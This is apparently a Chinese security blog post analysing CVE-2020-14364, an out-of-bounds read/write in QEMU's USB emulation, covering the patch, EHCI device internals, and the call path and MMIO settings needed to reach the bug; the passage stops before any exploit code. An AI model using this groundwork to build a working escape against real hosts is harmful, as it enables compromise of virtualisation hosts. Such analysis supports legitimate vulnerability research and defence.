环境搭建 创建usb
设备
1 2 qemu-img create -f raw usb.img 32M mkfs.vfat usb.img
编译qemu
1 2 3 4 5 6 7 git clone git://git.qemu-project.org/qemu.git cd qemugit checkout tags/v4.2.1 mkdir -p bin/debug/naivecd bin/debug/naive../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice make
编译完成的二进制文件位于bin/debug/naive/x86_64-softmmu/qemu-system-x86_64
,启动脚本如下
1 2 3 4 5 6 7 8 9 10 11 qemu-system-x86_64 \ -m 1G -nographic \ -hda ./rootfs.img \ -kernel ./bzImage \ -append "console=ttyS0 root=/dev/sda rw" \ -device e1000,netdev=net0 \ -netdev user,id =net0,hostfwd=tcp::2222-:22 \ -usb \ -drive if =none,format=raw,id =disk1,file=./CVE-2020-14364/usb.img \ -device ich9-usb-ehci1,id =usb \ -device usb-storage,drive=disk1 \
漏洞分析 首先看一下CVE
中的漏洞描述
An out-of-bounds read/write access flaw was found in the USB emulator of the QEMU in versions before 5.2.0. This issue occurs while processing USB packets from a guest when USBDevice ‘setup_len’ exceeds its ‘data_buf[4096]’ in the do_token_in, do_token_out routines. This flaw allows a guest user to crash the QEMU process, resulting in a denial of service, or the potential execution of arbitrary code with the privileges of the QEMU process on the host.
即在函数中正在处理的USB
数据包的setup_len
可以超过了4096
限制,从而造成越界的读写。看一下patch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 @@ -129,6 +129,7 @@ void usb_wakeup(USBEndpoint *ep, unsigned int stream) static void do_token_setup(USBDevice *s, USBPacket *p) { int request, value, index; + unsigned int setup_len; if (p->iov.size != 8) { p->status = USB_RET_STALL; @@ -138,14 +139,15 @@ static void do_token_setup(USBDevice *s, USBPacket *p) usb_packet_copy(p, s->setup_buf, p->iov.size); s->setup_index = 0; p->actual_length = 0; - s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; - if (s->setup_len > sizeof(s->data_buf)) { + setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; + if (setup_len > sizeof(s->data_buf)) { fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n", - s->setup_len, sizeof(s->data_buf)); + setup_len, sizeof(s->data_buf)); p->status = USB_RET_STALL; return; } + s->setup_len = setup_len; request = (s->setup_buf[0] << 8) | s->setup_buf[1]; value = (s->setup_buf[3] << 8) | s->setup_buf[2]; @@ -259,26 +261,28 @@ static void do_token_out(USBDevice *s, USBPacket *p) static void do_parameter(USBDevice *s, USBPacket *p) { int i, request, value, index; + unsigned int setup_len; for (i = 0; i < 8; i++) { s->setup_buf[i] = p->parameter >> (i*8); } s->setup_state = SETUP_STATE_PARAM; - s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; s->setup_index = 0; request = (s->setup_buf[0] << 8) | s->setup_buf[1]; value = (s->setup_buf[3] << 8) | s->setup_buf[2]; index = (s->setup_buf[5] << 8) | s->setup_buf[4]; - if (s->setup_len > sizeof(s->data_buf)) { + setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; + if (setup_len > sizeof(s->data_buf)) { fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n", - s->setup_len, sizeof(s->data_buf)); + setup_len, sizeof(s->data_buf)); p->status = USB_RET_STALL; return; } + s->setup_len = setup_len; if (p->pid == USB_TOKEN_OUT) { usb_packet_copy(p, s->data_buf, s->setup_len);
可以看到这里的patch
是增加了一个临时变量用来检查setup_len
是否符合要求,之后在进行赋值。相当于为s->setup_len
增加了一个回滚操作。
看一下关键部分的数据结构和代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 struct USBDevice { DeviceState qdev; USBPort *port; char *port_path; char *serial; void *opaque; uint32_t flags; int speed; int speedmask; uint8_t addr; char product_desc[32 ]; int auto_attach; bool attached; int32_t state; uint8_t setup_buf[8 ]; uint8_t data_buf[4096 ]; int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[USB_MAX_ENDPOINTS]; USBEndpoint ep_out[USB_MAX_ENDPOINTS]; QLIST_HEAD(, USBDescString) strings; const USBDesc *usb_desc; const USBDescDevice *device; int configuration; int ninterfaces; int altsetting[USB_MAX_INTERFACES]; const USBDescConfig *config; const USBDescIface *ifaces[USB_MAX_INTERFACES]; }; struct USBPacket { int pid; uint64_t id; USBEndpoint *ep; unsigned int stream; QEMUIOVector iov; uint64_t parameter; bool short_not_ok; bool int_req; int status; int actual_length; USBPacketState state; USBCombinedPacket *combined; QTAILQ_ENTRY(USBPacket) queue ; QTAILQ_ENTRY(USBPacket) combined_entry; };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 static void do_token_in (USBDevice *s, USBPacket *p) { int request, value, index; assert(p->ep->nr == 0 ); request = (s->setup_buf[0 ] << 8 ) | s->setup_buf[1 ]; value = (s->setup_buf[3 ] << 8 ) | s->setup_buf[2 ]; index = (s->setup_buf[5 ] << 8 ) | s->setup_buf[4 ]; switch (s->setup_state) { case SETUP_STATE_ACK: if (!(s->setup_buf[0 ] & USB_DIR_IN)) { usb_device_handle_control(s, p, request, value, index, s->setup_len, s->data_buf); if (p->status == USB_RET_ASYNC) { return ; } s->setup_state = SETUP_STATE_IDLE; p->actual_length = 0 ; } break ; case SETUP_STATE_DATA: if (s->setup_buf[0 ] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return ; } s->setup_state = SETUP_STATE_IDLE; p->status = USB_RET_STALL; break ; default : p->status = USB_RET_STALL; } } static void do_token_out (USBDevice *s, USBPacket *p) { assert(p->ep->nr == 0 ); switch (s->setup_state) { case SETUP_STATE_ACK: if (s->setup_buf[0 ] & USB_DIR_IN) { s->setup_state = SETUP_STATE_IDLE; } else { } break ; case SETUP_STATE_DATA: if (!(s->setup_buf[0 ] & USB_DIR_IN)) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return ; } s->setup_state = SETUP_STATE_IDLE; p->status = USB_RET_STALL; break ; default : p->status = USB_RET_STALL; } } void usb_packet_copy (USBPacket *p, void *ptr, size_t bytes) { QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov; assert(p->actual_length >= 0 ); assert(p->actual_length + bytes <= iov->size); switch (p->pid) { case USB_TOKEN_SETUP: case USB_TOKEN_OUT: iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes); break ; case USB_TOKEN_IN: iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes); break ; default : fprintf (stderr , "%s: invalid pid: %x\n" , __func__, p->pid); abort (); } p->actual_length += bytes; }
qemu设备初始化过程 执行qemu-system-x86_64 -device help
命令可以查看所有支持的device
,这里说一下device
的初始化过程,首先在我们启动qemu-system-x86_64
的时候如果指定了-device
的选项,那么该设备就会在vl.c:main
函数中的4372
行进行设备的创建与初始化
1 qemu_opts_foreach(qemu_find_opts("device" ),device_init_func, NULL , &error_fatal);
上述代码的意思是找到device
列表之后,执行device_init_func
函数,相关数据结构如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 enum QemuOptType { QEMU_OPT_STRING = 0 , QEMU_OPT_BOOL, QEMU_OPT_NUMBER, QEMU_OPT_SIZE, }; typedef struct QemuOptDesc { const char *name; enum QemuOptType type ; const char *help; const char *def_value_str; } QemuOptDesc; struct QemuOpts { char *id; QemuOptsList *list ; Location loc; QTAILQ_HEAD(, QemuOpt) head; QTAILQ_ENTRY(QemuOpts) next; }; struct QemuOpt { char *name; char *str; const QemuOptDesc *desc; union { bool boolean; uint64_t uint; } value; QemuOpts *opts; QTAILQ_ENTRY(QemuOpt) next; }; struct QemuOptsList { const char *name; const char *implied_opt_name; bool merge_lists; QTAILQ_HEAD(, QemuOpts) head; QemuOptDesc desc[]; };
QemuOptsList
是用来保存某一类的选项比如device
,qemu
维护了一个QemuOptsList
的数组该数组中的每个成员都代表了解析出来的一类选项。有些只有一个选择的选项则直接保存在变量中。QemuOptsList
保存的大选项中有很多的子选项,一个QemuOpts
保存了一个大选项中所有的子选项。每一个子选项都是一个QemuOpt
结构体,因此QemuOpts
里面实际上保存的是QemuOpt
结构的链表。
QemuOpt
结构保存的是一个个具体的子选项,以key、value
对的方式保存,key
是子选项的名称,value
是命令行参数指定的子选项的值。
从数据结构中我们可以看到QemuOptsList
保存的是QemuOpts
的链表,但是QemuOpts
已经保存所有的子项了,为什么还需要一个链表呢,这是因为qemu
启动参数中可能会存在多个相同的选项比如-device
,qemu
可以通过device
创建多个不同的设备,每个设备都有自己指定的子项,因此多个QemuOpts
是用来保存同一个选项的不同实例的。
函数代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #define QTAILQ_FOREACH(var, head, field) \ for ((var) = ((head)->tqh_first); \ (var); \ (var) = ((var)->field.tqe_next)) int qemu_opts_foreach (QemuOptsList *list , qemu_opts_loopfunc func, void *opaque, Error **errp) { Location loc; QemuOpts *opts; int rc = 0 ; loc_push_none(&loc); QTAILQ_FOREACH(opts, &list ->head, next) { loc_restore(&opts->loc); rc = func(opaque, opts, errp); if (rc) { break ; } assert(!errp || !*errp); } loc_pop(&loc); return rc; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static QemuOptsList *vm_config_groups[48 ];QemuOptsList *qemu_find_opts (const char *group) { QemuOptsList *ret; Error *local_err = NULL ; ret = find_list(vm_config_groups, group, &local_err); if (local_err) { error_report_err(local_err); } return ret; } static QemuOptsList *find_list (QemuOptsList **lists, const char *group, Error **errp) { int i; for (i = 0 ; lists[i] != NULL ; i++) { if (strcmp (lists[i]->name, group) == 0 ) break ; } if (lists[i] == NULL ) { error_setg(errp, "There is no option group '%s'" , group); } return lists[i]; }
那么首先是调用qemu_find_opts
函数,从vm_config_groups
数组中获取得到device
的链表,返回值是一个QemuOptsList
的结构体指针,该结构体中保存了所有的device
实例。
接下来就是进入到qemu_opts_foreach
,函数通过一个宏定义的for
循环对device
链表进行遍历操作,也就是依次取出QemuOptsList
中保存的QemuOpts
链表,对每个链表调用device_init_func
函数进行初始化。该链表中保存了一个-device
中定义的所有的参数,每一个参数都保存在QemuOpt
结构体中。也就是说对参数中每一个-device
实例都调用了device_init_func
函数进行初始化处理。我们看一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static int device_init_func (void *opaque, QemuOpts *opts, Error **errp) { DeviceState *dev; dev = qdev_device_add(opts, errp); if (!dev && *errp) { error_report_err(*errp); return -1 ; } else if (dev) { object_unref(OBJECT(dev)); } return 0 ; }
上面分析可以得到传入的参数是一个-device
实例,以QemuOpts
链表的形式保存所有的参数。调用qdev_device_add
函数添加每一个实例。我们看一下第一个处理的实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pwndbg> p *opts->head ->tqh_first $36 = { name = 0x5555566cbc10 "driver" , str = 0x5555566cbbb0 "e1000" , desc = 0x0 , value = { boolean = false , uint = 0 }, opts = 0x5555566cbb40 , next = { tqe_next = 0x5555566cbc50 , tqe_circ = { tql_next = 0x5555566cbc50 , tql_prev = 0x5555566cbb68 } } } pwndbg> p *opts->head ->tqh_first->next->tqe_next $37 = { name = 0x5555566cbc90 "netdev" , str = 0x5555566cbc30 "net0" , desc = 0x0 , value = { boolean = false , uint = 0 }, opts = 0x5555566cbb40 , next = { tqe_next = 0x0 , tqe_circ = { tql_next = 0x0 , tql_prev = 0x5555566cbbf8 } } }
正好对应我们的启动参数-device e1000,netdev=net0
,看一下qdev_device_add
函数的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 DeviceState *qdev_device_add (QemuOpts *opts, Error **errp) { DeviceClass *dc; const char *driver, *path; DeviceState *dev = NULL ; BusState *bus = NULL ; Error *err = NULL ; bool hide; driver = qemu_opt_get(opts, "driver" ); if (!driver) { error_setg(errp, QERR_MISSING_PARAMETER, "driver" ); return NULL ; } dc = qdev_get_device_class(&driver, errp); if (!dc) { return NULL ; } path = qemu_opt_get(opts, "bus" ); if (path != NULL ) { bus = qbus_find(path, errp); if (!bus) { return NULL ; } if (!object_dynamic_cast(OBJECT(bus), dc->bus_type)) { error_setg(errp, "Device '%s' can't go on %s bus" , driver, object_get_typename(OBJECT(bus))); return NULL ; } } else if (dc->bus_type != NULL ) { bus = qbus_find_recursive(sysbus_get_default(), NULL , dc->bus_type); if (!bus || qbus_is_full(bus)) { error_setg(errp, "No '%s' bus found for device '%s'" , dc->bus_type, driver); return NULL ; } } hide = should_hide_device(opts); if ((hide || qdev_hotplug) && bus && !qbus_is_hotpluggable(bus)) { error_setg(errp, QERR_BUS_NO_HOTPLUG, bus->name); return NULL ; } if (hide) { return NULL ; } if (!migration_is_idle()) { error_setg(errp, "device_add not allowed while migrating" ); return NULL ; } dev = DEVICE(object_new(driver)); if (qdev_hotplug && !qdev_hotplug_allowed(dev, &err)) { assert(err); goto err_del_dev; } if (bus) { qdev_set_parent_bus(dev, bus); } else if (qdev_hotplug && !qdev_get_machine_hotplug_handler(dev)) { error_setg(&err, "Device '%s' can not be hotplugged on this machine" , driver); goto err_del_dev; } qdev_set_id(dev, qemu_opts_id(opts)); if (qemu_opt_foreach(opts, set_property, dev, &err)) { goto err_del_dev; } dev->opts = opts; object_property_set_bool(OBJECT(dev), true , "realized" , &err); if (err != NULL ) { dev->opts = NULL ; goto err_del_dev; } return dev; err_del_dev: error_propagate(errp, err); if (dev) { object_unparent(OBJECT(dev)); object_unref(OBJECT(dev)); } return NULL ; }
从代码中可以看出,主要的流程就是首先获取driver
的name
,接着看参数中是否指定了bus
否则就按照Class
中指定的bus
,接着调用object_new
初始化对象,也就是初始化device
的描述符DeviceState
结构体,将其添加到bus
之后为初始化之后的对象添加相应的属性,device
即添加完成。看一下object_new
的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 Object *object_new (const char *typename) { TypeImpl *ti = type_get_by_name(typename); return object_new_with_type(ti); } static Object *object_new_with_type (Type type) { Object *obj; g_assert(type != NULL ); type_initialize(type); obj = g_malloc(type->instance_size); object_initialize_with_type(obj, type->instance_size, type); obj->free = g_free; return obj; } static void object_initialize_with_type (void *data, size_t size, TypeImpl *type) { Object *obj = data; type_initialize(type); g_assert(type->instance_size >= sizeof (Object)); g_assert(type->abstract == false ); g_assert(size >= type->instance_size); memset (obj, 0 , type->instance_size); obj->class = type->class ; object_ref(obj); obj->properties = g_hash_table_new_full(g_str_hash, g_str_equal, NULL , object_property_free); object_init_with_type(obj, type); object_post_init_with_type(obj, type); } static void object_init_with_type (Object *obj, TypeImpl *ti) { if (type_has_parent(ti)) { object_init_with_type(obj, type_get_parent(ti)); } if (ti->instance_init) { ti->instance_init(obj); } }
从代码逻辑中我们可以看到,函数首先从全局Hash
表中得到TypeImpl
结构体,然后在函数object_new_with_type
中根据type->instance_size
分配堆块的大小,该大小就是DeciceState
结构体的大小。堆块分配完毕之后在object_initialize_with_type-->object_init_with_type
函数递归的初始化父Object
,并调用对应的初始化函数。至此一个device
的实例创建完成。
usb设备读写函数 首先我们看一下所有的设备,可以发现有两个是usb control
1 2 3 4 5 6 7 8 9 10 00:01.2 USB controller: Intel Corporation 82371SB PIIX3 USB [Natoma/Triton II] (rev 01) (prog-if 0) Subsystem: Red Hat, Inc QEMU Virtual Machine Flags: bus master, fast devsel, latency 0, IRQ 11 I/O ports at c040 [size=32] Kernel driver in use: uhci_hcd 00:04.0 USB controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller Subsystem: Red Hat, Inc QEMU Virtual Machine Flags: bus master, fast devsel, latency 0, IRQ 10 Memory at febb1000 (32-bit, non-prefetchable) [size=4K] Kernel driver in use: ehci-pci
从启动脚本中对于usb
设备的挂在来看(ehci)
,这里00:04.0
是我们创建的usb
设备。这里首先看一下usb
的控制器类型
OHCI(Open Host Controller Interface)是支持USB1.1的标准,但它不仅仅是针对USB,还支持其他的一些接口,比如它还支持Apple的火线(Firewire,IEEE 1394)接口。与UHCI相比,OHCI的硬件复杂,硬件做的事情更多,所以实现对应的软件驱动的任务,就相对较简单。主要用于非x86的USB,如扩展卡、嵌入式开发板的USB主控。
UHCI(Universal Host Controller Interface),是Intel主导的对USB1.0、1.1的接口标准,与OHCI不兼容。UHCI的软件驱动的任务重,需要做得比较复杂,但可以使用较便宜、较简单的硬件的USB控制器。Intel和VIA使用UHCI,而其余的硬件提供商使用OHCI。
EHCI(Enhanced Host Controller Interface),是Intel主导的USB2.0的接口标准。EHCI仅提供USB2.0的高速功能,而依靠UHCI或OHCI来提供对全速(full-speed)或低速(low-speed)设备的支持。
xHCI(eXtensible Host Controller Interface),是最新最火的USB3.0的接口标准,它在速度、节能、虚拟化等方面都比前面3中有了较大的提高。xHCI支持所有种类速度的USB设备(USB 3.0 SuperSpeed, USB 2.0 Low-, Full-, and High-speed, USB 1.1 Low- and Full-speed)。xHCI的目的是为了替换前面3中(UHCI/OHCI/EHCI)。
这里启动脚本中选择的是EHCI
,因此这里的初始化函数为usb_ehci_pci_init
(这里的函数通过直接搜索usb
函数得到)。同时这里我们对该函数下断点gdb qemu-system-x86_64
,其中gdb_dbg
如下
1 2 3 4 5 add-symbol-file qemu-system-x86_64 0x555555554000 set args -m 1G -nographic -hda ./rootfs.img -kernel ./bzImage -append "console=ttyS0 root=/dev/sda rw" -device e1000,netdev=net0 -netdev user,id =net0,hostfwd=tcp::2222-:22 -usb -drive if =none,format=raw,id =disk1,file=./usb.img -device ich9-usb-ehci1,id =usb -device usb-storage,drive=disk1 b usb_ehci_pci_init
此时的系统调用栈如下
这里我们可以看到object_new
函数中初始化了我们指定的usb bus:ich9-usb-ehci1
。此时也可以得到usb-ehci
的初始化函数为usb_ehci_pci_init
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static void usb_ehci_pci_init (Object *obj) { DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE); EHCIPCIState *i = PCI_EHCI(obj); EHCIState *s = &i->ehci; s->caps[0x09 ] = 0x68 ; s->capsbase = 0x00 ; s->opregbase = 0x20 ; s->portscbase = 0x44 ; s->portnr = NB_PORTS; if (!dc->hotpluggable) { s->companion_enable = true ; } usb_ehci_init(s, DEVICE(obj)); }
看到这里将opreg
的基地址opregbase
设置为0x20
,对这块内存读写即对oprg
的内容进行读写。opreg
的内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 union { uint32_t opreg[0x44 /sizeof (uint32_t )]; struct { uint32_t usbcmd; uint32_t usbsts; uint32_t usbintr; uint32_t frindex; uint32_t ctrldssegment; uint32_t periodiclistbase; uint32_t asynclistaddr; uint32_t notused[9 ]; uint32_t configflag; }; };
实际上操作内存的函数总共有三种ehci_caps_read/write, echi_opreg_read/write, echi_port_read/write
三种,这三个函数访问的是同一个内存,但是访问的基地址和范围是不一样的。caps
的基地址定义在capsbase
,对应的port
的基地址则定义在portscbase
。
函数设置完相应的成员变量之后就会调用usb_echi_init
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 void usb_ehci_init (EHCIState *s, DeviceState *dev) { s->caps[0x00 ] = (uint8_t )(s->opregbase - s->capsbase); s->caps[0x01 ] = 0x00 ; s->caps[0x02 ] = 0x00 ; s->caps[0x03 ] = 0x01 ; s->caps[0x04 ] = s->portnr; s->caps[0x05 ] = 0x00 ; s->caps[0x06 ] = 0x00 ; s->caps[0x07 ] = 0x00 ; s->caps[0x08 ] = 0x80 ; s->caps[0x0a ] = 0x00 ; s->caps[0x0b ] = 0x00 ; QTAILQ_INIT(&s->aqueues); QTAILQ_INIT(&s->pqueues); usb_packet_init(&s->ipacket); memory_region_init(&s->mem, OBJECT(dev), "ehci" , MMIO_SIZE); memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s, "capabilities" , CAPA_SIZE); memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s, "operational" , s->portscbase); memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s, "ports" , 4 * s->portnr); memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps); memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg); memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase, &s->mem_ports); }
函数设置完相应的成员变量之后就注册了caps,opreg,port
的读写函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 static const MemoryRegionOps ehci_mmio_caps_ops = { .read = ehci_caps_read, .write = ehci_caps_write, .valid.min_access_size = 1 , .valid.max_access_size = 4 , .impl.min_access_size = 1 , .impl.max_access_size = 1 , .endianness = DEVICE_LITTLE_ENDIAN, }; static const MemoryRegionOps ehci_mmio_opreg_ops = { .read = ehci_opreg_read, .write = ehci_opreg_write, .valid.min_access_size = 4 , .valid.max_access_size = 4 , .endianness = DEVICE_LITTLE_ENDIAN, }; static const MemoryRegionOps ehci_mmio_port_ops = { .read = ehci_port_read, .write = ehci_port_write, .valid.min_access_size = 4 , .valid.max_access_size = 4 , .endianness = DEVICE_LITTLE_ENDIAN, };
这里我们看一下opreg
的读写函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 static uint64_t ehci_opreg_read (void *ptr, hwaddr addr, unsigned size) { EHCIState *s = ptr; uint32_t val; switch (addr) { case FRINDEX: val = s->frindex & ~7 ; break ; default : val = s->opreg[addr >> 2 ]; } trace_usb_ehci_opreg_read(addr + s->opregbase, addr2str(addr), val); return val; }
这里传入的是三个参数,第一个参数是EHCIState
结构体指针,第二个参数是addr
即偏移,当执行语句\*((uint64_t\*)(mmio_mem + 0x20))
的时候这里实际上传入的addr
是0
,因为之前设置的opregbase=0x20
。第三个参数就是size
,不过这里并没有使用到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 static void ehci_opreg_write (void *ptr, hwaddr addr, uint64_t val, unsigned size) { EHCIState *s = ptr; uint32_t *mmio = s->opreg + (addr >> 2 ); uint32_t old = *mmio; int i; trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val); switch (addr) { case USBCMD: if (val & USBCMD_HCRESET) { ehci_reset(s); val = s->usbcmd; break ; } if ((val & USBCMD_FLS) && !(s->usbcmd & USBCMD_FLS)) { fprintf (stderr , "attempt to set frame list size -- value %d\n" , (int )val & USBCMD_FLS); val &= ~USBCMD_FLS; } if (val & USBCMD_IAAD) { s->async_stepdown = 0 ; qemu_bh_schedule(s->async_bh); trace_usb_ehci_doorbell_ring(); } if (((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & val) != ((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & s->usbcmd)) { if (s->pstate == EST_INACTIVE) { SET_LAST_RUN_CLOCK(s); } s->usbcmd = val; ehci_update_halt(s); s->async_stepdown = 0 ; qemu_bh_schedule(s->async_bh); } break ; case USBSTS: val &= USBSTS_RO_MASK; ehci_clear_usbsts(s, val); val = s->usbsts; ehci_update_irq(s); break ; case USBINTR: val &= USBINTR_MASK; if (ehci_enabled(s) && (USBSTS_FLR & val)) { qemu_bh_schedule(s->async_bh); } break ; case FRINDEX: val &= 0x00003fff ; s->usbsts_frindex = val; break ; case CONFIGFLAG: val &= 0x1 ; if (val) { for (i = 0 ; i < NB_PORTS; i++) handle_port_owner_write(s, i, 0 ); } break ; case PERIODICLISTBASE: if (ehci_periodic_enabled(s)) { fprintf (stderr , "ehci: PERIODIC list base register set while periodic schedule\n" " is enabled and HC is enabled\n" ); } break ; case ASYNCLISTADDR: if (ehci_async_enabled(s)) { fprintf (stderr , "ehci: ASYNC list address register set while async schedule\n" " is enabled and HC is enabled\n" ); } break ; } *mmio = val; trace_usb_ehci_opreg_change(addr + s->opregbase, addr2str(addr), *mmio, old); }
漏洞触发 在qemu
启动的时候对do_token_setup
下断点,gdb_dbg
如下
1 2 3 add-symbol-file qemu-system-x86_64 0x555555554000 set args -m 1G -nographic -hda ./rootfs.img -kernel ./bzImage -append "console=ttyS0 root=/dev/sda rw" -device e1000,netdev=net0 -netdev user,id =net0,hostfwd=tcp::2222-:22 -usb -drive if =none,forma1b do_token_setup
我们可以看到如下的函数调用链
也就是如下的函数调用链
1 2 3 4 5 6 7 8 do_token_setup usb_process_one usb_handle_packet ehci_execute ehci_state_execute ehci_advance_state ehci_advance_async_state ehci_work_bh
但是这里存在一个问题就是当我们对ehci_advance_async_state
函数下了断点之后,其会多次断在这个函数上,因此我们选择另一个函数调用链,对ehci_advance_state
函数进行交叉引用,我们发现ehci_advance_periodic_state
函数也会调用ehci_advance_state
函数,因此选择的函数调用链如下
ehci_work_bh->ehci_advance_periodic_state->ehci_advance_state->ehci_state_execute->ehci_execute->usb_handle_packet->usb_process_one->do_token_setup
我们接下来依次分析一下函数触发的条件首先是ehci_work_bh
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 static void ehci_work_bh (void *opaque) { EHCIState *ehci = opaque; if (ehci->working) { return ; } ehci->working = true ; t_now = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL); ns_elapsed = t_now - ehci->last_run_ns; uframes = ns_elapsed / UFRAME_TIMER_NS; if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) { need_timer++; if (uframes > (ehci->maxframes * 8 )) { skipped_uframes = uframes - (ehci->maxframes * 8 ); ehci_update_frindex(ehci, skipped_uframes); ehci->last_run_ns += UFRAME_TIMER_NS * skipped_uframes; uframes -= skipped_uframes; DPRINTF("WARNING - EHCI skipped %d uframes\n" , skipped_uframes); } for (i = 0 ; i < uframes; i++) { ehci_update_frindex(ehci, 1 ); if ((ehci->frindex & 7 ) == 0 ) { ehci_advance_periodic_state(ehci); } ehci->last_run_ns += UFRAME_TIMER_NS; } } else { } } static void ehci_update_frindex(EHCIState *ehci, int uframes){ ehci->frindex = (ehci->frindex + uframes) % 0x4000 ; } #define USBCMD_PSE (1 << 4) static inline bool ehci_periodic_enabled (EHCIState *s) { return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE); } #define USBCMD_RUNSTOP (1 << 0) static inline bool ehci_enabled (EHCIState *s) { return s->usbcmd & USBCMD_RUNSTOP; }
从上述代码中我们可以看到,首先需要满足条件判断ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE
,这里我们选择满足前者,也就是ehci_periodic_enabled(ehci)
,那么就需要s->usbcmd & USBCMD_RUNSTOP==1 && s->usbcmd & USBCMD_PSE==1
这两个条件。
这里对usbcmd
的设置可以通过mmio_write(0x20, value)
进行设置,因为usbcmd
是opreg
结构体中的成员变量,而0x20用来设置该结构体中的值,usbcmd
是第一个成员变量,因此这里直接mmio_write(0x20, value)
即可以设置usbcmd
。
接着需要满足(ehci->frindex & 7) == 0
判断条件,在这个判断条件之前,函数会调用ehci_update_frindex(ehci, 1);
,该函数会导致frindex
每次+1
,也就是总会满足这个判断条件。
接着进入ehci_advance_periodic_state
函数
